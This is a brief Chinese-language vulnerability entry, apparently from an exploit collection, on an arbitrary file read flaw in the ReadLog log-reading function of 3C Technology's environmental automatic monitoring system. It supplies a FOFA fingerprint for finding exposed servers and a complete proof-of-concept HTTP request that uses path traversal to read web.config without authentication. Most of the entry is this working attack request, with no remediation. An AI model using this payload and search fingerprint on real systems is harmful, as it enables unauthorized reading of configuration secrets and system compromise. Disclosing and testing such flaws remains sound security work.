3C环境自动监测监控系统ReadLog文件读取漏洞
3C科技环境自动监测监控系统ReadLog读取报错日志功能点不受访问控制限制,存在任意文件读取漏洞。未经授权的攻击者可以读取服务器上的任意文件,从而获取系统权限和敏感信息。
fofa
icon_hash="-338936081"
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poc
GET /ajax/sys/LogService.ashx?Method=ReadLog&FileName=../web.config HTTP/1.1
Host:
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http:/{{Hostname}}/Sys/Log/FileLogList.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
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漏洞来源